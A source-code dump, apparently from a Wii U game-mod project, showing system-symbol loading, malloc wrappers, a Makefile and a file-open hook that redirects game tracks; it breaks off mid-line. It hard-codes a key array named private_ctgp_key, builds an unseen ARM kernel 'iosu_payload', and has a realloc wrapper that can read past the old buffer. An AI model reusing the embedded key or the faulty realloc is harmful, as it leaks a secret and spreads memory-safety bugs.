(*OSGetUPID)(void); 78 | bool (*OSSetExceptionCallbackEx)(OSExceptionMode mode, OSExceptionType exceptionType, void* callback); 79 | 80 | bool (*SYSCheckTitleExists)(uint64_t titleId); 81 | void (*SYSLaunchMenu)(void); 82 | void (*SYSLaunchTitle)(uint64_t); 83 | 84 | int (*VPADRead)(int chan, VPADData* buffer, size_t buffer_size, int* error); 85 | 86 | int (*SAVEOpenFile)(FSClient* client, FSCmdBlock* block, uint8_t accountSlotNo, const char* path, const char* mode, int* fileHandle, int errHandling); 87 | 88 | ProcUIStatus (*ProcUIProcessMessages)(bool block); 89 | 90 | void (*GX2WaitForVsync)(void); 91 | 92 | uint8_t (*nn::act::GetSlotNo)(void); 93 | int (*nn::act::GetAccountIdEx)(char* pOutAccountId, uint8_t slotNum); 94 | int (*nn::act::GetMiiName)(char16_t* pOutMiiName); 95 | 96 | /* 97 | * https://www.gnu.org/software/libc/manual/html_node/Replacing-malloc.html 98 | */ 99 | 100 | extern "C" void* __wrap_malloc(size_t size) { 101 | return memoryAlloc(size); 102 | } 103 | 104 | extern "C" void __wrap_free(void* ptr) { 105 | memoryFree(ptr); 106 | } 107 | 108 | extern "C" void* __wrap_calloc(size_t nmemb, size_t size) { 109 | void* ptr = __wrap_malloc(nmemb * size); 110 | if (ptr) { 111 | memset(ptr, 0, nmemb * size); 112 | } 113 | return ptr; 114 | } 115 | 116 | // http://www.beedub.com/Sprite093/src/lib/c/stdlib/realloc.c 117 | extern "C" void* __wrap_realloc(char* ptr, size_t newSize) { 118 | 119 | void* newPtr; 120 | 121 | if (ptr == 0) { 122 | return __wrap_malloc(newSize); 123 | } 124 | 125 | newPtr = __wrap_malloc(newSize); 126 | memcpy(newPtr, ptr, newSize); 127 | __wrap_free(ptr); 128 | 129 | return newPtr; 130 | } 131 | 132 | extern "C" void* __wrap_aligned_alloc(size_t alignment, size_t size) { 133 | 134 | if (alignment < 4) 135 | alignment = 4; 136 | 137 | return memoryAllocAlign(size, alignment); 138 | } 139 | 140 | extern "C" size_t __wrap_malloc_usable_size(void* p) { 141 | return 0x7FFFFFFF; 142 | } 143 | 144 | extern "C" void* __wrap_memalign(size_t alignment, size_t size) { 145 | return __wrap_aligned_alloc(alignment, size); 146 | } 147 | 148 | extern "C" int __wrap_posix_memalign(void** memptr, size_t alignment, size_t size) { 149 | 150 | if (size == 0) 151 | *memptr = NULL; 152 | else 153 | *memptr = __wrap_aligned_alloc(alignment, size); 154 | 155 | return 0; 156 | } 157 | 158 | extern "C" void* __wrap_pvalloc(size_t size) { 159 | return __wrap_aligned_alloc(0x1000, size); 160 | } 161 | 162 | extern "C" void* __wrap_valloc(size_t size) { 163 | return __wrap_aligned_alloc(0x1000, size); 164 | } 165 | 166 | void* operator new(size_t size) { 167 | return malloc(size); 168 | } 169 | void* operator new[](size_t size) { 170 | return malloc(size); 171 | } 172 | void* operator new(size_t size, int alignment) { 173 | return memalign(alignment, size); 174 | } 175 | void* operator new[](size_t size, int alignment) { 176 | return memalign(alignment, size); 177 | } 178 | void operator delete(void* ptr) { 179 | free(ptr); 180 | } 181 | void operator delete(void* ptr, size_t size) { 182 | free(ptr); 183 | } 184 | 185 | void LoadWiiUSymbols() { 186 | 187 | uint32_t __rpl_coreinit, __rpl_nsysnet, __rpl_sysapp, __rpl_vpad, __rpl_nn_save, __rpl_proc_ui, __rpl_gx2, __rpl_nn_act; 188 | OSDynLoad_Acquire("coreinit.rpl", &__rpl_coreinit); 189 | OSDynLoad_Acquire("nsysnet.rpl", &__rpl_nsysnet); 190 | OSDynLoad_Acquire("sysapp.rpl", &__rpl_sysapp); 191 | OSDynLoad_Acquire("vpad.rpl", &__rpl_vpad); 192 | OSDynLoad_Acquire("nn_save.rpl", &__rpl_nn_save); 193 | OSDynLoad_Acquire("proc_ui.rpl", &__rpl_proc_ui); 194 | OSDynLoad_Acquire("gx2.rpl", &__rpl_gx2); 195 | OSDynLoad_Acquire("nn_act.rpl", &__rpl_nn_act); 196 | 197 | LOAD_FUNC(__rpl_coreinit, FSInit); 198 | LOAD_FUNC(__rpl_coreinit, FSAddClient); 199 | LOAD_FUNC(__rpl_coreinit, FSInitCmdBlock); 200 | LOAD_FUNC(__rpl_coreinit, FSOpenFile); 201 | LOAD_FUNC(__rpl_coreinit, FSCloseFile); 202 | LOAD_FUNC(__rpl_coreinit, FSOpenDir); 203 | LOAD_FUNC(__rpl_coreinit, FSReadDir); 204 | LOAD_FUNC(__rpl_coreinit, FSCloseDir); 205 | LOAD_FUNC(__rpl_coreinit, FSGetStat); 206 | LOAD_FUNC(__rpl_coreinit, FSGetStatFile); 207 | LOAD_FUNC(__rpl_coreinit, FSReadFile); 208 | LOAD_FUNC(__rpl_coreinit, FSReadFileWithPos); 209 | LOAD_FUNC(__rpl_coreinit, FSSetPosFile); 210 | LOAD_FUNC(__rpl_coreinit, FSGetMountSource); 211 | LOAD_FUNC(__rpl_coreinit, FSMount); 212 | LOAD_FUNC(__rpl_coreinit, FSGetPosFile); 213 | 214 | LOAD_FUNC(__rpl_coreinit, IOS_Open); 215 | LOAD_FUNC(__rpl_coreinit, IOS_Close); 216 | LOAD_FUNC(__rpl_coreinit, IOS_Ioctl); 217 | 218 | LOAD_FUNC(__rpl_coreinit, OSCreateThread); 219 | LOAD_FUNC(__rpl_coreinit, OSJoinThread); 220 | LOAD_FUNC(__rpl_coreinit, OSResumeThread); 221 | LOAD_FUNC(__rpl_coreinit, OSGetCurrentThread); 222 | LOAD_FUNC(__rpl_coreinit, OSExitThread); 223 | LOAD_FUNC(__rpl_coreinit, OSSetThreadName); 224 | LOAD_FUNC(__rpl_coreinit, OSSleepTicks); 225 | 226 | LOAD_FUNC(__rpl_coreinit, __OSPhysicalToEffectiveCached); 227 | LOAD_FUNC(__rpl_coreinit, OSEffectiveToPhysical); 228 | LOAD_FUNC(__rpl_coreinit, DCInvalidateRange); 229 | LOAD_FUNC(__rpl_coreinit, DCFlushRange); 230 | LOAD_FUNC(__rpl_coreinit, DCStoreRange); 231 | LOAD_FUNC(__rpl_coreinit, ICInvalidateRange); 232 | LOAD_FUNC(__rpl_coreinit, OSMemoryBarrier); 233 | 234 | LOAD_FUNC(__rpl_nsysnet, socket_lib_init); 235 | LOAD_FUNC(__rpl_nsysnet, socket_lib_finish); 236 | LOAD_FUNC(__rpl_nsysnet, socket); 237 | LOAD_FUNC(__rpl_nsysnet, socketclose); 238 | LOAD_FUNC(__rpl_nsysnet, connect); 239 | LOAD_FUNC(__rpl_nsysnet, sendto); 240 | LOAD_FUNC(__rpl_nsysnet, setsockopt); 241 | LOAD_FUNC(__rpl_nsysnet, bind); 242 | LOAD_FUNC(__rpl_nsysnet, listen); 243 | LOAD_FUNC(__rpl_nsysnet, gethostbyname); 244 | LOAD_FUNC(__rpl_nsysnet, accept); 245 | LOAD_FUNC(__rpl_nsysnet, send); 246 | LOAD_FUNC(__rpl_nsysnet, socketlasterr); 247 | LOAD_FUNC(__rpl_nsysnet, recv); 248 | LOAD_FUNC(__rpl_nsysnet, inet_ntoa); 249 | 250 | LOAD_FUNC(__rpl_coreinit, OSInitMutexEx); 251 | LOAD_FUNC(__rpl_coreinit, OSLockMutex); 252 | LOAD_FUNC(__rpl_coreinit, OSUnlockMutex); 253 | LOAD_FUNC(__rpl_coreinit, OSGetSystemTime); 254 | 255 | LOAD_FUNC(__rpl_coreinit, OSSetExceptionCallbackEx); 256 | 257 | LOAD_FUNC(__rpl_coreinit, OSIsAddressValid); 258 | LOAD_FUNC(__rpl_coreinit, OSGetSymbolName); 259 | LOAD_FUNC(__rpl_coreinit, OSGetTitleID); 260 | LOAD_FUNC(__rpl_coreinit, OSGetCoreId); 261 | LOAD_FUNC(__rpl_coreinit, OSGetUPID); 262 | 263 | LOAD_FUNC(__rpl_sysapp, SYSCheckTitleExists); 264 | LOAD_FUNC(__rpl_sysapp, SYSLaunchMenu); 265 | LOAD_FUNC(__rpl_sysapp, SYSLaunchTitle); 266 | 267 | LOAD_FUNC(__rpl_vpad, VPADRead); 268 | 269 | LOAD_FUNC(__rpl_nn_save, SAVEOpenFile); 270 | 271 | LOAD_FUNC(__rpl_proc_ui, ProcUIProcessMessages); 272 | 273 | LOAD_FUNC(__rpl_gx2, GX2WaitForVsync); 274 | 275 | __load_from_module(__rpl_nn_act, "GetSlotNo__Q2_2nn3actFv", (void**)&nn::act::GetSlotNo); 276 | __load_from_module(__rpl_nn_act, "GetAccountIdEx__Q2_2nn3actFPcUc", (void**)&nn::act::GetAccountIdEx); 277 | __load_from_module(__rpl_nn_act, "GetMiiName__Q2_2nn3actFPw", (void**)&nn::act::GetMiiName); 278 | 279 | socket_lib_init(); 280 | } -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # This is a minimal set of ANSI/VT100 color codes 2 | _END=\033[0m 3 | _BOLD=\033[1m 4 | _UNDER=\033[4m 5 | _REV=\033[7m 6 | 7 | # Colors 8 | _GREY=\033[30m 9 | _RED=\033[31m 10 | _GREEN=\033[32m 11 | _YELLOW=\033[33m 12 | _BLUE=\033[34m 13 | _PURPLE=\033[35m 14 | _CYAN=\033[36m 15 | _WHITE=\033[37m 16 | 17 | #--------------------------------------------------------------------------------- 18 | # Clear the implicit built in rules 19 | #--------------------------------------------------------------------------------- 20 | .SUFFIXES: 21 | #--------------------------------------------------------------------------------- 22 | ifeq ($(strip $(DEVKITPPC)),) 23 | $(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") 24 | endif 25 | ifeq ($(strip $(DEVKITPRO)),) 26 | $(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") 27 | endif 28 | 29 | UNAME_S := $(shell uname -s) 30 | 31 | ifneq (,$(findstring Darwin,$(UNAME_S))) 32 | export SHELL=/bin/bash 33 | endif 34 | 35 | export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) 36 | export LIBOGC_INC := $(DEVKITPRO)/libogc/include 37 | export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii 38 | export PORTLIBS := $(DEVKITPRO)/portlibs/wiiu 39 | 40 | PREFIX := powerpc-eabi- 41 | 42 | export AS := $(PREFIX)as 43 | export CC := $(PREFIX)gcc 44 | export CXX := $(PREFIX)g++ 45 | export AR := $(PREFIX)ar 46 | export OBJCOPY := $(PREFIX)objcopy 47 | 48 | #--------------------------------------------------------------------------------- 49 | # TARGET is the name of the output 50 | # BUILD is the directory where object files & intermediate files will be placed 51 | # SOURCES is a list of directories containing source code 52 | # INCLUDES is a list of directories containing extra header files 53 | #--------------------------------------------------------------------------------- 54 | TARGET := turbo_ctgp 55 | BUILD := build_files 56 | BUILD_DBG := $(TARGET)_dbg 57 | SOURCES := source \ 58 | source/private \ 59 | source/wiiu \ 60 | source/utils \ 61 | source/crypto \ 62 | source/ctgp \ 63 | source/patch \ 64 | source/rgs \ 65 | source/rgs/common \ 66 | source/rgs/platform \ 67 | source/rgs/services \ 68 | source/rgs/common/DataTypes \ 69 | 70 | DATA := 71 | 72 | INCLUDES := source 73 | 74 | #--------------------------------------------------------------------------------- 75 | # options for code generation 76 | #--------------------------------------------------------------------------------- 77 | CFLAGS := -std=c17 -Wall -Wno-array-bounds -Wno-stringop-overflow -Wno-stringop-overread -DPLATFORM_WIIU -fshort-wchar $(INCLUDE) 78 | CXXFLAGS := -std=c++20 -Wall -Wno-array-bounds -Wno-stringop-overflow -Wno-stringop-overread -DPLATFORM_WIIU -fshort-wchar $(INCLUDE) 79 | ASFLAGS := -mregnames 80 | LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,--gc-sections,--wrap=malloc,--wrap=free,--wrap=calloc,--wrap=realloc,--wrap=aligned_alloc,--wrap=malloc_usable_size,--wrap=memalign,--wrap=posix_memalign,--wrap=pvalloc,--wrap=valloc,--wrap=printf,--wrap=puts 81 | 82 | #--------------------------------------------------------------------------------- 83 | Q := @ 84 | MAKEFLAGS += --no-print-directory 85 | #--------------------------------------------------------------------------------- 86 | # any extra libraries we wish to link with the project 87 | #--------------------------------------------------------------------------------- 88 | LIBS := -lm -lgcc -lstdc++ -ltomcrypt 89 | 90 | #--------------------------------------------------------------------------------- 91 | # list of directories containing libraries, this must be the top level containing 92 | # include and lib 93 | #--------------------------------------------------------------------------------- 94 | LIBDIRS := $(CURDIR) \ 95 | $(DEVKITPPC)/lib \ 96 | $(DEVKITPPC)/lib/gcc/powerpc-eabi/11.1.0\ 97 | $(PORTLIBS) 98 | 99 | #--------------------------------------------------------------------------------- 100 | # no real need to edit anything past this point unless you need to add additional 101 | # rules for different file extensions 102 | #--------------------------------------------------------------------------------- 103 | ifneq ($(BUILD),$(notdir $(CURDIR))) 104 | #--------------------------------------------------------------------------------- 105 | export PROJECTDIR := $(CURDIR) 106 | export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) 107 | export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ 108 | $(foreach dir,$(DATA),$(CURDIR)/$(dir)) 109 | export DEPSDIR := $(CURDIR)/$(BUILD) 110 | 111 | #--------------------------------------------------------------------------------- 112 | # automatically build a list of object files for our project 113 | #--------------------------------------------------------------------------------- 114 | CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) 115 | CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) 116 | CCFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cc))) 117 | sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) 118 | SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) 119 | BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) 120 | TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) 121 | PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) 122 | 123 | #--------------------------------------------------------------------------------- 124 | # use CXX for linking C++ projects, CC for standard C 125 | #--------------------------------------------------------------------------------- 126 | ifeq ($(strip $(CPPFILES)),) 127 | export LD := $(CC) 128 | else 129 | export LD := $(CXX) 130 | endif 131 | 132 | ifeq ($(strip $(CCFILES)),) 133 | export LD := $(CC) 134 | else 135 | export LD := $(CXX) 136 | endif 137 | 138 | export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(CCFILES:.cc=.o) \ 139 | $(sFILES:.s=.o) $(SFILES:.S=.o) \ 140 | $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) 141 | 142 | #--------------------------------------------------------------------------------- 143 | # build a list of include paths 144 | #--------------------------------------------------------------------------------- 145 | export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ 146 | $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ 147 | -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ 148 | -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 \ 149 | -I$(PORTLIBS)/include/dynamic_libs \ 150 | -I$(PORTLIBS)/include/libutils 151 | 152 | #--------------------------------------------------------------------------------- 153 | # build a list of library paths 154 | #--------------------------------------------------------------------------------- 155 | export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ 156 | -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib 157 | 158 | export OUTPUT := $(CURDIR)/$(TARGET) 159 | .PHONY: clean 160 | 161 | debug: CFLAGS += -D__DEBUG__ 162 | debug: CXXFLAGS += -D__DEBUG__ 163 | debug: $(CURDIR)/source/iosu_payload/arm_kernel.h executable_d 164 | release: $(CURDIR)/source/iosu_payload/arm_kernel.h executable_r 165 | 166 | #--------------------------------------------------------------------------------- 167 | 168 | $(CURDIR)/source/iosu_payload/arm_kernel.h: $(CURDIR)/source/iosu_payload/arm_user.h 169 | @$(MAKE) --no-print-directory -C $(CURDIR)/arm_iosu_code/arm_kernel/ -f $(CURDIR)/arm_iosu_code/arm_kernel/Makefile 170 | 171 | $(CURDIR)/source/iosu_payload/arm_user.h: 172 | @$(MAKE) --no-print-directory -C $(CURDIR)/arm_iosu_code/arm_user/ -f $(CURDIR)/arm_iosu_code/arm_user/Makefile 173 | 174 | #--------------------------------------------------------------------------------- 175 | clean: 176 | @echo -e "${_CYAN}Cleaning the project${_END}" 177 | @$(MAKE) --no-print-directory -C $(CURDIR)/arm_iosu_code/arm_kernel -f $(CURDIR)/arm_iosu_code/arm_kernel/Makefile clean 178 | @$(MAKE) --no-print-directory -C $(CURDIR)/arm_iosu_code/arm_user -f $(CURDIR)/arm_iosu_code/arm_user/Makefile clean 179 | @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(CURDIR)/source/iosu_payload/arm_kernel.h $(CURDIR)/source/iosu_payload/arm_user.h 180 | #--------------------------------------------------------------------------------- 181 | executable_d: 182 | @echo -e "\n${_YELLOW}Building for dev/debug. DO NOT RELEASE${_END}" 183 | @[ -d $(BUILD) ] || mkdir -p $(BUILD) 184 | @$(MAKE) debug --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 185 | #--------------------------------------------------------------------------------- 186 | executable_r: 187 | @echo -e "\n${_YELLOW}Building for release${_END}" 188 | @[ -d $(BUILD) ] || mkdir -p $(BUILD) 189 | @$(MAKE) release --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 190 | #--------------------------------------------------------------------------------- 191 | 192 | else 193 | 194 | DEPENDS := $(OFILES:.o=.d) 195 | 196 | #--------------------------------------------------------------------------------- 197 | # main targets 198 | #--------------------------------------------------------------------------------- 199 | $(OUTPUT).elf: $(OFILES) 200 | 201 | #--------------------------------------------------------------------------------- 202 | # This rule links in binary data with the .jpg extension 203 | #--------------------------------------------------------------------------------- 204 | 205 | debug: CFLAGS += -D__DEBUG__ -O3 206 | debug: CXXFLAGS += -D__DEBUG__ -O3 207 | debug: $(OUTPUT).elf 208 | 209 | release: CFLAGS += -O3 210 | release: CXXFLAGS += -O3 211 | release: $(OUTPUT).elf 212 | 213 | %.elf: link.ld $(OFILES) 214 | @echo -e "${_PURPLE}[LD]${_END} Linking ${_CYAN}$(notdir $@)${_END}.." 215 | $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) 216 | $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ 217 | @cp $@ ../build_game_files_archive/content/turbo_ctgp 218 | 219 | #--------------------------------------------------------------------------------- 220 | %.a: 221 | #--------------------------------------------------------------------------------- 222 | @echo $(notdir $@) 223 | @rm -f $@ 224 | @$(AR) -rc $@ $^ 225 | 226 | #--------------------------------------------------------------------------------- 227 | %.o: %.cpp 228 | @echo -e "${_GREEN}[C++]${_END} Building ${_CYAN}$(notdir $<)${_END}.." 229 | @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) 230 | 231 | #--------------------------------------------------------------------------------- 232 | %.o: %.cc 233 | @echo -e "${_GREEN}[C++]${_END} Building ${_CYAN}$(notdir $<)${_END}.." 234 | @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) 235 | 236 | #--------------------------------------------------------------------------------- 237 | %.o: %.c 238 | @echo -e "${_GREEN}[C]${_END} Building ${_CYAN}$(notdir $<)${_END}.." 239 | @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) 240 | 241 | #--------------------------------------------------------------------------------- 242 | %.o: %.S 243 | @echo -e "${_RED}[ASM]${_END} Building ${_CYAN}$(notdir $<)${_END}.." 244 | @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) 245 | #--------------------------------------------------------------------------------- 246 | %.png.o : %.png 247 | @echo $(notdir $<) 248 | @bin2s -a 32 $< | $(AS) -o $(@) 249 | 250 | #--------------------------------------------------------------------------------- 251 | %.jpg.o : %.jpg 252 | @echo $(notdir $<) 253 | @bin2s -a 32 $< | $(AS) -o $(@) 254 | 255 | #--------------------------------------------------------------------------------- 256 | %.ttf.o : %.ttf 257 | @echo $(notdir $<) 258 | @bin2s -a 32 $< | $(AS) -o $(@) 259 | 260 | #--------------------------------------------------------------------------------- 261 | %.bin.o : %.bin 262 | @echo $(notdir $<) 263 | @bin2s -a 32 $< | $(AS) -o $(@) 264 | 265 | #--------------------------------------------------------------------------------- 266 | %.wav.o : %.wav 267 | @echo $(notdir $<) 268 | @bin2s -a 32 $< | $(AS) -o $(@) 269 | 270 | #--------------------------------------------------------------------------------- 271 | %.mp3.o : %.mp3 272 | @echo $(notdir $<) 273 | @bin2s -a 32 $< | $(AS) -o $(@) 274 | 275 | #--------------------------------------------------------------------------------- 276 | %.ogg.o : %.ogg 277 | @echo $(notdir $<) 278 | @bin2s -a 32 $< | $(AS) -o $(@) 279 | 280 | -include $(DEPENDS) 281 | 282 | #--------------------------------------------------------------------------------- 283 | endif 284 | #--------------------------------------------------------------------------------- 285 | -------------------------------------------------------------------------------- /source/patch/filesystem.cpp: -------------------------------------------------------------------------------- 1 | #include "filesystem.hpp" 2 | 3 | OSMutex fs_mutex; 4 | 5 | uint8_t private_ctgp_key[48] = { 0xB3, 0x74, 0xC0, 0x03, 0x35, 0x84, 0x94, 0xDC, 0x1B, 0xCF, 0x7E, 0x8C, 0xE2, 0x96, 0x87, 0x6F, 0x08, 0x06, 0xD9, 0xDB, 0xB6, 0x9E, 0xE1, 0xFE, 6 | 0x46, 0x74, 0x13, 0x7D, 0x6E, 0x95, 0xDF, 0xED, 0x46, 0x2B, 0xC4, 0x2C, 0xBA, 0x16, 0xCB, 0xA1, 0x17, 0xB4, 0xEC, 0x96, 0xB5, 0x5B, 0x31, 0x9C }; 7 | 8 | uint32_t fileHashes[] = { 9 | 0x41B15EF8, 0x30B81E30, 0xD22AD39E, 0x4FB8C892, 0xA0A48549, 0x4C220436, 0x5B12E565, 0x43A28B42, 0xEC672A77, 0xE05BF7C0, 0xD71A6E44, 0x07E304F3, 0x7AA76DE3, 0x622CA0DF, 10 | 0x17529664, 0x3DAAB95B, 0x1F51AF11, 0x4614E8D0, 0x90CF3D56, 0xE081DDD6, 0xD3ECA2E2, 0x5F5C4C17, 0x1AF82720, 0x5F17ABE4, 0x0E6BE493, 0x1405AAF2, 0xD48056C9, 0xAA6EAF3E, 11 | 0xB28AB7B3, 0xBB397433, 0x3AB78964, 0xD6782E80, 0x9F78DBEF, 0xC176AF0A, 0xB888BF30, 0x52670A87, 0x5942190C, 0x2F327243, 0x78967306, 0xED3C8808, 0x8BA0A357, 0xE2C6EE35, 12 | 0x43CC7F34, 0xECC2D06F, 0x2AF90ECE, 0x4D33320D, 0x7588B65A, 0x872C230F, 0xADAF52E8, 0xE5C1BFDC, 0xEE48BE0B, 0xD4D366A6, 0xF4BE0592, 0x07145900, 0x4CF124EC, 0xB1152FC1, 13 | 0x4BDAFF06, 0x643E674E, 0x56FF9506, 0x5243FFB4, 0xE4137B60, 0xA25CDF75, 0x5C8C0572, 0x9C756A82, 0x58F89E21, 0x92D42CBB, 0x6EA9F600, 0x31D3501F, 0xA1FB392D, 0xBBEC2E04, 14 | 0xC82E5892, 0x361F8C29, 0xCDC75ADE, 0x8370FF13, 0xCEE869D3, 0x803504C4, 0xF3CEC020, 0xBC1B3798, 0x87F01B66, 0x603C6CB5, 0xC9024372, 0x37756BDF, 0x7DB79DA7, 0xA9857C10, 15 | 0xA3385374, 0x52C82626, 0x2E3AA2D4, 0xD6FF18D7, 0x343C6480, 0xF7FF0161, 0x51AFAA95, 0xB1D4C752, 0x75C1E1A2, 0x772D4AF3, 0x4670DC71, 0xF11A54D2, 0x85EAAF0D, 0xA92DDCEC, 16 | 0xFE42B272, 0xCC9A227D, 0xD0F6785F, 0xB27A1E1C, 0xEA890A2A, 0x990E79D1, 0x5B62FCF6, 0x26BFC96B, 0x63D790EC, 0x280318B8, 0x3D4172B9, 0xEE69504A, 0x496C9ED5, 0x925372E4, 17 | 0xB22F6175, 0xDEA773A7, 0x79E22646, 0x658400C1, 0xB48A6AC7, 0xF3B63E83, 0xD3309D17, 0x503C3675, 0xC11C1B74, 0x016DD4AF, 0x5F927794, 0x2625FE17, 0x8F353D40, 0x250EC2A1, 18 | 0x80D6EF55, 0x6A1C2092, 0xFDCBEE62, 0x7EE29071, 0x71C562CC, 0xB0FCCA3F, 0xAF97F87B, 0xA86DFE5F, 0x25AC08ED, 0x4DE3BB6C, 0xF466B7A7, 0x44CAC62B, 0x948CE248, 0x5C18B2A7, 19 | 0xF09FF182, 0x125F58AC, 0x47EE0653, 0x2FFCAC59, 0xFAFD4498, 0xA9BBF053, 0xEC5C3077, 0xBECE7B9C, 0xE7BC1D33, 0x6740A896, 0x7F1FF9F8, 0x18CBD6E7, 0xDDF85A25, 0xE504B624, 20 | 0xE1E8ED5F, 0x0F752A7A, 0x7352BF01, 0x65DF2446, 0x95A53E6B, 0xD375EDBB, 0x8169E11C, 0x2ADE9B08, 0x014C2AF7, 0xE7271B12, 0xA1FD20A1, 0x5A4C843D, 0xE9FCB63C, 0x7904C1CD, 21 | 0x9AF9AA8F, 0xE4601DAE, 0xD500F129, 0x70D4EC4F, 0x35DD2D04, 0x1705158B, 0x058AB3D0, 0xCCA2C2CF, 0xD80CE4FD, 0x812C4C7C, 0xD83662B7, 0xF1A9F516, 0x6D075D85, 0xECF1F622, 22 | 0xAAAC3BAF, 0xFA33F357, 0x87D4C1E0, 0x4AB50B24, 0x98E3C7D3, 0xFB17856E, 0xAD37695E, 0xD7FA51B3, 0xAEE3E608, 0xFADDF204, 0x6C5ED9FF, 0x9515DEF6, 0x9D3E729C, 0xBDF7C6E1, 23 | 0xADB13C53, 0xACF1E636, 0x4F01F4E3, 0x5859FDC1, 0xF8913D2D, 0x51F5F81B, 0xF479C545, 0x0E7E0966, 0x2EA04728, 0x133573F2, 0x956F8FA9, 0x383A0EA5, 0xD7B70ABC, 0x54B0F2E6, 24 | 0xB57E039A, 0x44A54FE9, 0xD5606736, 0xD5C22676, 0x86B542CD, 0x3D2DABA3, 0x64AC87F8, 0xB2837E62, 0x5C99A527, 0xEAC0EBDF, 0x74F0D881, 0x1E3C503F, 0x7DFEE1B7, 0x4BE3DB6F, 25 | 0x50AF2C0F, 0x2E457181, 0x6E394597, 0xD3EA7E1F, 0x2B80BE8B, 0x7F2AE59D, 0xD2D50CAF, 0x267F33C1, 0x47C04277, 0x795B2D4F, 0xEDD58589, 0x622FCB1F, 0xB0FE0653, 0x26B1E88A, 26 | 0x016F8E07, 0x512F23DF, 0x6F51CE47, 0x37579788, 0x27A77A35, 0xF7F7BA47, 0x3EB51EFF, 27 | }; 28 | /* internal save file var */ 29 | uint32_t* iSaveFileHeader = NULL; // for crc32 calc 30 | int iOutSaveFileHandle = -1; 31 | size_t iRealSaveFileSize = 0; 32 | 33 | FSClient* fsClient = NULL; 34 | FSCmdBlock* fsCmdBlock = NULL; 35 | char outSdPath[0x300]; 36 | char mountPath[128]; 37 | 38 | struct FileRedirections { 39 | 40 | fileHandleHook hooks[256]; 41 | 42 | fileHandleHook* Add(int h) { 43 | for (int i = 0; i < 256; i++) { 44 | if (!hooks[i].active) { 45 | hooks[i].active = true; 46 | hooks[i].handle = h; 47 | hooks[i].offset = 0; 48 | return &hooks[i]; 49 | } 50 | } 51 | 52 | FatalError("444-0100", "There's too many file for CTGP to handle!"); 53 | return NULL; 54 | } 55 | 56 | fileHandleHook* Find(int h) { 57 | 58 | for (int i = 0; i < 256; i++) { 59 | if (hooks[i].active && hooks[i].handle == h) { 60 | return &hooks[i]; 61 | } 62 | } 63 | 64 | return NULL; 65 | } 66 | }; 67 | 68 | FileRedirections redirection; 69 | 70 | uint32_t calc_hash(const char* filename, uint32_t multiplier) { 71 | uint32_t res = 0; 72 | for (size_t i = 0; i < strlen(filename); i++) { 73 | res = filename[i] + res * multiplier; 74 | } 75 | return res; 76 | } 77 | 78 | uint8_t* GetArchiveFile(const char* filename, uint32_t* outSize, uint32_t align) { 79 | 80 | int fd = -1; 81 | FSStat s; 82 | 83 | int ret = FSOpenFile(fsClient, fsCmdBlock, filename, "r", &fd, -1); 84 | 85 | if (ret < 0 || fd < 0) { 86 | FatalError("444-0102", "Error, one of the file is missing, please check your installation"); 87 | return NULL; 88 | } 89 | 90 | FSGetStatFile(fsClient, fsCmdBlock, fd, &s, -1); 91 | uint8_t* data = (uint8_t*)memalign(align, (s.size + 0x100) & (~0xFF)); 92 | int size_r = FSReadFile(fsClient, fsCmdBlock, data, 1, s.size, fd, 0, -1); 93 | FSCloseFile(fsClient, fsCmdBlock, fd, -1); 94 | DCFlushRange(data, size_r); 95 | 96 | if (outSize) 97 | *outSize = size_r; 98 | return data; 99 | } 100 | 101 | DECL_HOOK(int, FSOpenFile, FSClient* client, FSCmdBlock* block, const char* path, const char* mode, int* handle, uint32_t flags) { 102 | 103 | char* nPath = (char*)calloc(256, 1); 104 | if (ctgp::CUP0Instance) { 105 | for (int i = 0; i < 80; i++) { 106 | if (ctgp::CUP0Instance->trackNames[i]) { 107 | char* x1 = strstr(path, ctgp::CUP0Instance->trackNames[i]); 108 | char* x2 = x1 + strlen(ctgp::CUP0Instance->trackNames[i]); 109 | if (x1 && ctgp::CUP0Instance->trackNamesMod[i]) { 110 | DBG_LOG("%s -> %s\n", path, ctgp::CUP0Instance->trackNamesMod[i]); 111 | memcpy(nPath, path, strlen(path)); 112 